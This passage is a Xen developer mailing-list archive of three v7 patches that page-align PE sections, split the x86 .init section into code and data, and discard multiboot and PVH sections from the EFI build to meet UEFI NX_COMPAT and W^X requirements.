        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to;
        bh=EgcFpTg0M719DUSQiohUXmyN6KV71kHNHsNKWBm10go=;
        b=IHVYOHTvrVFjr9fT3MFu16T0q8cr7HeZNsuqpJ3YeBy4rdCkrSzZCxIdl4sBAyB5h7
         96f82zINis75KaIq0MwKyICFHEtbBfEtAnyfF+Do1+xVjWj8U7roE/6RulbN6YPVwKCy
         dAIVlqWv+LOvSIP8Zut9OJJSC3GLVkrl4dk4IJopqDU+Q/BHdH9zf/NcZfdnpZ9sbvOO
         27axMr1mrqfgDTdXs6wOyOXIw9/P0Tn/tfesrhQZuP11CSEX9LX/oQ5mW6UpQGvPdxJd
         YuTc3agrcoEaoxI0J7IfgHp+ufn8aL7qYRxAnmmt0/0ZTQMkL0w+IGvCTLby0TSCn7y8
         Ds0g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783334766; x=1783939566;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to;
        bh=EgcFpTg0M719DUSQiohUXmyN6KV71kHNHsNKWBm10go=;
        b=fJhlfTxKSJnNXZYZVCoqyD1WrWD4+dLkYe1jSdx0rmPv7nBLoV4tuTMuWV66gJkMF/
         5vO72D31sTWQGVYWhIXnxu/h9C6zIFytwi4ZH77/crM+0EAcpTuppnkkGqJMVft1wrPc
         QoN/8RsE4cYG9C4VkUVUkSikRwrIU0vvADc2WxFeu+67tN6dQeOAOPJabTDk7ojmLlFh
         WH+McYZFJ4IIlrmcBNHCynfC5f7Y/aVtXIfUc+I6XOypG3c0GFsCW3cgX81wvXbIBpBM
         btaS5QXfIeY0+KtFMbUlp5Y9hnhbim3A7JHE3qW4UxU10M8e4rwNYomGG6UNnL5Ox445
         HntQ==
X-Gm-Message-State: AOJu0YwD3wZyoWMw+aVlT6DJfsIEIteUYO05WVxc/wIw214l5cdGxYsK
	UT32JZZA9OhoS2SCnTHGgvLwAUlrUvyqlQk8C4uiWz8vOoXNdVO2BcIUqcjafx+ezgQ=
X-Gm-Gg: AfdE7clYTsMU8SKRUALTwquyy1wN7jTFcd4ir5HFK6sPoqA4Hx3a4eccX/3n63jOleN
	z/pNCB3vN/3m2RmnECR5mWXw7qFGP9ryunqJ5Pye8JFEygoharWfE+mfSmLOef/Srj0jv0gFswa
	M+670mbyGGRuLRwlQXpbwFpa5/gNNf6b5BSLOQ8Z6XRvy1ZxW637srMNBNsfvcRiL7vUwX4oQFc
	RmP0LnYlHYBzUQMnyyAvBuaMQFayfxRtPzA9EJojglsjFEByjRPRKD1LdYv+X5h+wBuZHPFOANO
	PQqOBKdnfVMzfHBa1VCXXWPYCoYxWkp7jzsTRf/t3FS0TS05tsgZHq3kYmrGZnMZoYpwcWz9Py+
	Pz9N9VZczHssWDLzeNecUtfHBTXxJ1gpL6/WLAm6WO9Y024XgZCc+0a+c215E5HTZRw8UVXF5/r
	ZkeHAnQHYJZjPltw05c4GPxr8BCtJ/7HXfgcN5iuquI8k6cr8VzujJ70bmzCii8B9ksml8YmZLN
	AHn7LklMkplc4kI9HY=
X-Received: by 2002:a05:600c:3110:b0:493:c8c6:4989 with SMTP id 5b1f17b1804b1-493d11cf312mr130290115e9.6.1783334765621;
        Mon, 06 Jul 2026 03:46:05 -0700 (PDT)
From: Frediano Ziglio <freddy77@gmail.com>
X-Google-Original-From: Frediano Ziglio <frediano.ziglio@citrix.com>
To: xen-devel@lists.xenproject.org
Cc: Frediano Ziglio <frediano.ziglio@cloud.com>,
	Frediano Ziglio <frediano.ziglio@citrix.com>,
	=?UTF-8?q?Marek=20Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>,
	Jan Beulich <jbeulich@suse.com>
Subject: [PATCH v7 1/4] Align relevant sections to 4KB
Date: Mon,  6 Jul 2026 11:45:54 +0100
Message-ID: <20260706104557.430097-2-frediano.ziglio@citrix.com>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <20260706104557.430097-1-frediano.ziglio@citrix.com>
References: <20260706104557.430097-1-frediano.ziglio@citrix.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-bad1c0/1783334766-577AD986-70FCADD3/0/0
X-purgate-type: clean
X-purgate-size: 2076

From: Frediano Ziglio <frediano.ziglio@cloud.com>

Required by UEFI CA memory mitigation.

It is a requirement for NX_COMPAT so the PE can be loaded with W^X perms
in the pagetables.

NX_COMPAT is a requirement from shim-review,
https://github.com/rhboot/shim-review#do-you-have-the-nx-bit-set-in-your-shim-if-so-is-your-entire-boot-stack-nx-compatible-and-what-testing-have-you-done-to-ensure-such-compatibility

Sections with different permissions must be in separate pages.
In the case of debug sections they are contiguous and have the same
permissions, including the immediately preceding .reloc section, so it's
not an issue if they are not aligned to the page.
Before the .debug sections you could have the .reloc or the SBAT section,
either are permission-compatible.

Signed-off-by: Frediano Ziglio <frediano.ziglio@citrix.com>
Acked-by: Marek Marczykowski-GÃ³recki <marmarek@invisiblethingslab.com>
Acked-by: Jan Beulich <jbeulich@suse.com>
---
Changes since v1:
- Change subject.

Changes since v2:
- Improved commit message and subject.

Changes since v3:
- Added Acked-by;
- Improved commit message.

Changes since v4:
- Added missing comment;
- Added Acked-by.
---
 xen/arch/x86/xen.lds.S | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/xen/arch/x86/xen.lds.S b/xen/arch/x86/xen.lds.S
index b9e888e596..8e63cf5bc2 100644
--- a/xen/arch/x86/xen.lds.S
+++ b/xen/arch/x86/xen.lds.S
@@ -162,8 +162,8 @@ SECTIONS
        __note_gnu_build_id_end = .;
   } PHDR(note) PHDR(text)
 #elif defined(BUILD_ID_EFI)
-  /* Workaround bug in binutils < 2.36 */
-  . = ALIGN(32);
+  /* Align to satisfy UEFI CA memory mitigation. */
+  . = ALIGN(PAGE_SIZE);
   DECL_SECTION(.buildid) {
        __note_gnu_build_id_start = .;
        *(.buildid)
@@ -330,6 +330,8 @@ SECTIONS
   __2M_rwdata_end = ALIGN(SECTION_ALIGN);
 
 #ifdef EFI
+  /* Align to satisfy UEFI CA memory mitigation. */
+  . = ALIGN(PAGE_SIZE);
   .reloc ALIGN(4) : {
     __base_relocs_start = .;
     *(.reloc)
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 06 10:46:20 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 06 Jul 2026 10:46:20 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355305.1610099 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wggq3-0003Hx-DL; Mon, 06 Jul 2026 10:46:11 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355305.1610099; Mon, 06 Jul 2026 10:46:11 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wggq3-0003HZ-A8; Mon, 06 Jul 2026 10:46:11 +0000
Received: by outflank-mailman (input) for mailman id 1355305;
 Mon, 06 Jul 2026 10:46:10 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <freddy77@gmail.com>) id 1wggq2-0002ch-0b
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 10:46:10 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wggq1-00HA6J-DT
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 12:46:09 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a4b876b-e002-0a2a0a5209dd-0a2a4501c908-14
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 12:46:09 +0200
Received: from [209.85.128.50] (helo=mail-wm1-f50.google.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a4b8771-400f-0a2a45010019-d1558032e1f4-3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 12:46:09 +0200
Received: by mail-wm1-f50.google.com with SMTP id
 5b1f17b1804b1-493c83474ddso26424155e9.3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 03:46:09 -0700 (PDT)
Received: from localhost.localdomain (2.115.147.147.dyn.plus.net.
 [147.147.115.2]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493c63ba97csm349823985e9.12.2026.07.06.03.46.07
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 06 Jul 2026 03:46:08 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783334769; x=1783939569; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:mime-version:references
         :in-reply-to:message-id:date:subject:cc:to:from:from:to:cc:subject
         :date:message-id:reply-to:content-type;
        bh=ia93IaiRGnVFsVP6/iZrBYXvaYw/rZ06cLV16cU84oM=;
        b=bL2qnVfwcZJ+nmzugoVfEsDe0ytVgSdT0xg9GvcGl02/kuvCWbGAczdqU0p1XTfrI8
         ApwuedtLgDV9Toyx6imse19CxjRwwp/4nmz54BxvK/pEH58i0v+p0vihyXUQqBTF9v20
         KvBy7QaojIsyY3TABb3qsftPpkbQ9TKTY0sueEqxa3wJAMGQ79XA5q6WR0EhTY3kQtT9
         wP/K2bI78VDV0+QvJZdoZ862wZ4VymTBe4LFYI98qeX5/o7d6cmuMzV/76QwFKeipiPg
         PsBlW1MelgsWLgmvwg6+H4IYfgc1MSgZzVTCLeHDAiXH+qR51ZYxLi1RKJH7kGZVEnYf
         KrKw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783334769; x=1783939569;
        h=content-transfer-encoding:content-type:mime-version:references
         :in-reply-to:message-id:date:subject:cc:to:from:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=ia93IaiRGnVFsVP6/iZrBYXvaYw/rZ06cLV16cU84oM=;
        b=b/Id4pi2U/je3R8Id6vZ2PkyLoizxVkQOHaQJHVpGrySfOcpTV5UpT7mbtKsP6fp0C
         3QXBWzU3+ipkteAP3HDKCkng4zuqWTuBJy+TMpnn8WQoPYM2XNs09MTqdfZFuuzUFjNh
         E211riUHHm6NCjAUGpl4usDxqmXSUM/XTRoeVLIGLt6NCc6S7gheh9XMHfwA0PP5hroi
         soYwRYmF3nlYdmC5IZX53F5QvWggXztNr2yGyf92PcX6mJnhBS5JNhDqk+fNu9EGtfVz
         y8D1zIMId8xFB82Zh9vGN5W20I1sQkEFTOH0vD8Ob1GAUeBt6XVwXRyh62XM3YSTmO1S
         L1fQ==
X-Gm-Message-State: AOJu0YyHN8w0BLRSVhVIDB5dp7vBt7AYTrvffniIc6grvNSwTId1YUuz
	sCXRNaL3KUO3dalcARQ8mOiqpC1GE2n9Jn+wuPwumylHW7J4wzY81UB7Ly0BO94dBDY=
X-Gm-Gg: AfdE7clpLDTlgz2zlMKGYSxQHseczWymL7Ei/jVqxUTuwsWfHtXXaDVUtoos7Qd0+9c
	kYGEw3PyfLPtm+rqh2VhvRsE5pcVriqL69q560umetucflF11IAPV+rz+64kkAdUpUjXE3MnQ2E
	G91AyTVRA2Z1nOF+82DZqhK5E5wuwYlEtk7exdNXR+I64qzlRHTGnQ/ts9eNmq+dDVZgJALjvC9
	P9f0spSlPCWk8DVxznaHT/cew4o9NHnIZDzAbyeoghV2e1/JY13sdRWJeB6CK8QsAV/DNJ9T4Bx
	SSPSvmd0f1pfrWk3KpMY2DnBnFFin20Qt7+ujfCLVcx48ZgrJe+7RruslbvMNQYzRTAWBDaQlqC
	yiM+U30/tWwV2XMDgAY8tTmaTN13F1MZWwoFc+K/q7GCL/HOBsZq+1Ga2rVCp2/uf804YfhDLg9
	pVjSr01qFwAd0cQFvHT2puZB23v6+y/xHE7zyk63gOxmY3npAjVY1PQLsgN7DV2ijEWGnlj8gHO
	Z/YVFCBsWne3zEsCs0=
X-Received: by 2002:a05:600c:2282:b0:492:5bb6:6d4b with SMTP id 5b1f17b1804b1-493d11fb775mr86459585e9.34.1783334768506;
        Mon, 06 Jul 2026 03:46:08 -0700 (PDT)
From: Frediano Ziglio <freddy77@gmail.com>
X-Google-Original-From: Frediano Ziglio <frediano.ziglio@citrix.com>
To: xen-devel@lists.xenproject.org
Cc: Frediano Ziglio <frediano.ziglio@cloud.com>,
	Jan Beulich <jbeulich@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	=?UTF-8?q?Marek=20Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>,
	Frediano Ziglio <frediano.ziglio@citrix.com>
Subject: [PATCH v7 4/4] x86: Split .init section to satisfy UEFI CA memory mitigation
Date: Mon,  6 Jul 2026 11:45:57 +0100
Message-ID: <20260706104557.430097-5-frediano.ziglio@citrix.com>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <20260706104557.430097-1-frediano.ziglio@citrix.com>
References: <20260706104557.430097-1-frediano.ziglio@citrix.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-d62444/1783334769-82CC61E0-829AF86F/0/0
X-purgate-type: clean
X-purgate-size: 1957

From: Frediano Ziglio <frediano.ziglio@cloud.com>

Currently .init section is both writeable and executable, split data and code
to have 2 sections satisfying W^X rule.

It is a requirement for NX_COMPAT so the PE can be loaded with W^X perms
in the pagetables.

NX_COMPAT is a requirement from shim-review,
https://github.com/rhboot/shim-review#do-you-have-the-nx-bit-set-in-your-shim-if-so-is-your-entire-boot-stack-nx-compatible-and-what-testing-have-you-done-to-ensure-such-compatibility

Signed-off-by: Frediano Ziglio <frediano.ziglio@citrix.com>
Acked-by: Marek Marczykowski-GÃ³recki <marmarek@invisiblethingslab.com>
Acked-by: Jan Beulich <jbeulich@suse.com>
---
Change since v1:
- update comment style.

Changes since v3:
- Added Acked-by.

Changes since v4:
- Added Acked-by.
---
 xen/arch/x86/xen.lds.S | 12 ++++--------
 1 file changed, 4 insertions(+), 8 deletions(-)

diff --git a/xen/arch/x86/xen.lds.S b/xen/arch/x86/xen.lds.S
index 4ed1d2bec1..e26e37db13 100644
--- a/xen/arch/x86/xen.lds.S
+++ b/xen/arch/x86/xen.lds.S
@@ -193,11 +193,7 @@ SECTIONS
   __2M_init_start = .;         /* Start of 2M superpages, mapped RWX (boot only). */
   . = ALIGN(PAGE_SIZE);             /* Init code and data */
   __init_begin = .;
-#ifdef EFI /* EFI wants to merge all of .init.*  ELF doesn't. */
-  DECL_SECTION(.init) {
-#else
   DECL_SECTION(.init.text) {
-#endif
        _sinittext = .;
        *(.init.multiboot)
        *(.init.text)
@@ -210,12 +206,12 @@ SECTIONS
         */
        *(.altinstr_replacement)
 
-#ifdef EFI /* EFI wants to merge all of .init.*  ELF doesn't. */
-       . = ALIGN(SMP_CACHE_BYTES);
-#else
   } PHDR(text)
-  DECL_SECTION(.init.data) {
+#ifdef EFI
+  /* Align to satisfy UEFI CA memory mitigation. */
+  . = ALIGN(SECTION_ALIGN);
 #endif
+  DECL_SECTION(.init.data) {
        *(.init.bss.stack_aligned)
        *(.init.data.page_aligned)
 
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 06 10:46:20 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 06 Jul 2026 10:46:20 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355303.1610073 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wggq1-0002cV-Ul; Mon, 06 Jul 2026 10:46:09 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355303.1610073; Mon, 06 Jul 2026 10:46:09 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wggq1-0002ab-OW; Mon, 06 Jul 2026 10:46:09 +0000
Received: by outflank-mailman (input) for mailman id 1355303;
 Mon, 06 Jul 2026 10:46:08 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <freddy77@gmail.com>) id 1wggq0-0002Tv-9M
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 10:46:08 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wggpz-00HA6J-Da
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 12:46:07 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a4b876b-e002-0a2a0a5209dd-0a2a4501c908-10
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 12:46:07 +0200
Received: from [209.85.221.47] (helo=mail-wr1-f47.google.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a4b876f-400f-0a2a45010019-d155dd2fb15a-3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 12:46:07 +0200
Received: by mail-wr1-f47.google.com with SMTP id
 ffacd0b85a97d-47ddf7b09aaso653562f8f.3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 03:46:07 -0700 (PDT)
Received: from localhost.localdomain (2.115.147.147.dyn.plus.net.
 [147.147.115.2]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493c63ba97csm349823985e9.12.2026.07.06.03.46.05
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 06 Jul 2026 03:46:06 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783334767; x=1783939567; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to;
        bh=X0/pd4NebReOi1u00xuUMPx7iuXllyYVM7OCMuJ2B44=;
        b=B0Z8jrOXkZol00KL1SpDpFTKS9vWY3gULjMbRrPXVoOJT6eWi+obwwDyvU0Y8azLyB
         WNN1WXT5h2Zb6Cjw8n0/UKlxMJZBex2ROy0tObXBYmogajcXmS+7vAHBxG+dX3H4+ddC
         9ieS6ljC9Ga05ZvarY05mnkL1KsWet3aQNz0ElaCLXf07CocBiGLws9HFMgT8vqaJ4RW
         VUrZewhQCtOj59ycETSuByp2vZORDyN+vIlKS1PA7mifJ4VHykFzfjS0U8EPvb9QBUj2
         vd+JOTLvOEprw1lFET1c4SArq1TOQuaGm3vkrIlZ4phK9eoBo7l51PRdEovkSg34/Ypk
         xwkQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783334767; x=1783939567;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to;
        bh=X0/pd4NebReOi1u00xuUMPx7iuXllyYVM7OCMuJ2B44=;
        b=BsWF2IKFHDgQxGfvxGPIZhsOHJ1F5Ojp/x9Et7wjiAsy4sud8qAcOcqCiG77WRju37
         RLyVrj2qcOevUFBUDzaEwVmEUQ7v6SOREZgtyowUN0nO+tSFpru9XfVwwWzrOiQCKlmn
         6AMYJb404SFE5K8/Ee1dmnm8aft1+nnGzjCIkQyB/WWlmS8EvEF2CGLrXxF7JQ+gKBNK
         JcpvNSE4CQ+jfcbdtWBao+9WazBW6/GArueRxfmKjcsdUUq9kVejI269/9h+97QXzRc7
         pNV04fE0beQRfHf/QMazX4mFLz+n7nVFxnWxEga4mtpAn1Zb1X0WqCJNjFlX7iIVUMmy
         AwuQ==
X-Gm-Message-State: AOJu0Yy3cSZ3G04czcsvaOxlv52gwKCtKThPUfR3WfhxL5c3CQ0rXfjW
	ZcKAM8i5zPWZqtIZWBy17oiY11VemwXOt3iZKyiiMDw0jsYMQ/Xj/kQ4fFek8XHvDuA=
X-Gm-Gg: AfdE7cmTNszuYrldJHpxPUAPUU5SaFbz0pYC4xep6hbIfRdQNW1a+e8RRNSHDNP04n6
	HBowAabfZuQXcSWpCcpfvITRzmGPyVAnrK1C9Upsa2rxxH4JWwPrCtAziE1uSDxV3sFnfh0sCfj
	BW9MmMCuvHMqQdKnG+gxYgZXm9lcnh3VmozshdYzrBU2sa+Y5iPVnBaKhRaiQEJlFGomK/DzL3a
	nbUtcWKevH+0iEYWbOJ7Yc3jzKcs6yes+D+ztxmo2esBmNN8bdVoU0iLeXoSEJu628g+yh0Gc0s
	Fk3p8GuBAfKqYzFnr/vqekdN9CGvVT0IvOnKRnPnlm2K2PX1LJBaptklpt7Gku6MBPiY9ZLPZvY
	h3k6TMnRpLBku5yvgNCe01K1H7OfpQ4EIgsMnBij6J6e/xWIhh5NNRz40L6AxAwXISViyQG0rYx
	unR4j47+uy7ou5sjEpCRfQiGY+62aCo8yyQZ4I2aNFE4XceH8Q7pw4hmSf/I99+TbKttAx/S5HN
	c+DotPB3B1I2M2eJMg=
X-Received: by 2002:a05:600c:3acb:b0:493:cce0:3757 with SMTP id 5b1f17b1804b1-493d11cdd57mr108272465e9.4.1783334766457;
        Mon, 06 Jul 2026 03:46:06 -0700 (PDT)
From: Frediano Ziglio <freddy77@gmail.com>
X-Google-Original-From: Frediano Ziglio <frediano.ziglio@citrix.com>
To: xen-devel@lists.xenproject.org
Cc: =?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Jan Beulich <jbeulich@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	=?UTF-8?q?Marek=20Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>,
	Frediano Ziglio <frediano.ziglio@citrix.com>
Subject: [PATCH v7 2/4] x86/efi: discard multiboot and PVH support for PE binary
Date: Mon,  6 Jul 2026 11:45:55 +0100
Message-ID: <20260706104557.430097-3-frediano.ziglio@citrix.com>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <20260706104557.430097-1-frediano.ziglio@citrix.com>
References: <20260706104557.430097-1-frediano.ziglio@citrix.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-d62444/1783334767-FF2C51E0-B5FA0B47/0/0
X-purgate-type: clean
X-purgate-size: 5049

From: Roger Pau MonnÃ© <roger.pau@citrix.com>

Multiboot and PVH booting are not supported for PE, hence discards them
in the linker script when doing a PE build.

That removes some relocations that otherwise appear due to the usage of the
start and __efi64_mb2_start symbols in the multiboot2 header.

Section discarding is not done updating DISCARD_SECTIONS definition as the
change is specific for x86.

No functional change intended.

Signed-off-by: Roger Pau MonnÃ© <roger.pau@citrix.com>
Signed-off-by: Frediano Ziglio <frediano.ziglio@citrix.com>
---
Changes since v1:
- improve commit message;
- change section orders to avoid changing code order in final executable;
- merge 2 commits;
- removed deprecated documentation section.

Changes since v2:
- Update commit message, join 2 sentences together.

Changes since v3:
- Added Acked-by.

Changes since v4:
- more clear subject;
- removed more code/data from EFI output;
- removed Acked-by.

Changes since v5:
- simplify section exclusion using more wildcard;
- exclude more multiboot functions.
---
 docs/hypervisor-guide/x86/how-xen-boots.rst | 6 ------
 xen/arch/x86/boot/head.S                    | 8 ++++----
 xen/arch/x86/xen.lds.S                      | 7 +++++++
 xen/tools/combine_two_binaries.py           | 2 +-
 4 files changed, 12 insertions(+), 11 deletions(-)

diff --git a/docs/hypervisor-guide/x86/how-xen-boots.rst b/docs/hypervisor-guide/x86/how-xen-boots.rst
index 8b3229005c..b6d852050a 100644
--- a/docs/hypervisor-guide/x86/how-xen-boots.rst
+++ b/docs/hypervisor-guide/x86/how-xen-boots.rst
@@ -82,12 +82,6 @@ When a PEI-capable toolchain is found, the objects are linked together and a
 PE32+ binary is created.  It can be run directly from the EFI shell, and has
 ``efi_start`` as its entry symbol.
 
-.. note::
-
-   xen.efi does contain all MB1/MB2/PVH tags included in the rest of the
-   build.  However, entry via anything other than the EFI64 protocol is
-   unsupported, and won't work.
-
 
 Boot
 ----
diff --git a/xen/arch/x86/boot/head.S b/xen/arch/x86/boot/head.S
index 68b963ce6f..981f262b5e 100644
--- a/xen/arch/x86/boot/head.S
+++ b/xen/arch/x86/boot/head.S
@@ -126,7 +126,7 @@ multiboot2_header:
         .size multiboot2_header, . - multiboot2_header
         .type multiboot2_header, @object
 
-        .section .init.rodata, "a", @progbits
+        .section .init.rodata.multiboot, "a", @progbits
 
 .Lbad_cpu_msg: .asciz "ERR: Not a 64-bit CPU!"
 .Lbad_ldr_msg: .asciz "ERR: Not a Multiboot bootloader!"
@@ -137,8 +137,7 @@ multiboot2_header:
 .Lno_nx_msg:   .asciz "ERR: Not an NX-capable CPU!"
 #endif
 
-        .section .init.data, "aw", @progbits
-        .subsection 1 /* Put data here after the page tables (in x86_64.S). */
+        .section .init.data.multiboot, "aw", @progbits
         .align 4
 
         .word   0
@@ -154,7 +153,7 @@ vga_text_buffer:
 efi_platform:
         .byte   0
 
-        .section .init.text, "ax", @progbits
+        .section .init.multiboot, "ax", @progbits
 
 early_error: /* Here to improve the disassembly. */
 
@@ -712,6 +711,7 @@ trampoline_setup:
         /* Jump into the relocated trampoline. */
         lret
 
+        .section .init.text, "ax", @progbits
 ENTRY(trampoline_start)
 #include "trampoline.S"
 ENTRY(trampoline_end)
diff --git a/xen/arch/x86/xen.lds.S b/xen/arch/x86/xen.lds.S
index 8e63cf5bc2..4ed1d2bec1 100644
--- a/xen/arch/x86/xen.lds.S
+++ b/xen/arch/x86/xen.lds.S
@@ -57,6 +57,10 @@ SECTIONS
   __image_base__ = .;
 #else
   . = __image_base__;
+  /DISCARD/ : {
+    *(.text.header)
+    *(.init.*multiboot)
+  }
 #endif
 
 #if 0
@@ -195,6 +199,7 @@ SECTIONS
   DECL_SECTION(.init.text) {
 #endif
        _sinittext = .;
+       *(.init.multiboot)
        *(.init.text)
        *(.text.startup)
        _einittext = .;
@@ -220,6 +225,7 @@ SECTIONS
        *(.init.rodata.cf_clobber)
        __initdata_cf_clobber_end = .;
 
+       *(.init.rodata.multiboot)
        *(.init.rodata)
        *(.init.rodata.*)
 
@@ -234,6 +240,7 @@ SECTIONS
        *(.initcall1.init)
        __initcall_end = .;
 
+       *(.init.data.multiboot)
        *(.init.data)
        *(.init.data.rel)
        *(.init.data.rel.*)
diff --git a/xen/tools/combine_two_binaries.py b/xen/tools/combine_two_binaries.py
index 581e57cbc0..5f0433dcad 100755
--- a/xen/tools/combine_two_binaries.py
+++ b/xen/tools/combine_two_binaries.py
@@ -33,7 +33,7 @@ parser.add_argument('--map', dest='mapfile',
 parser.add_argument('--exports', dest='exports',
                     help='Symbols to export')
 parser.add_argument('--section-header', dest='section_header',
-                    default='.section .init.text, "ax", @progbits',
+                    default='.section .init.multiboot, "ax", @progbits',
                     help='Section header declaration')
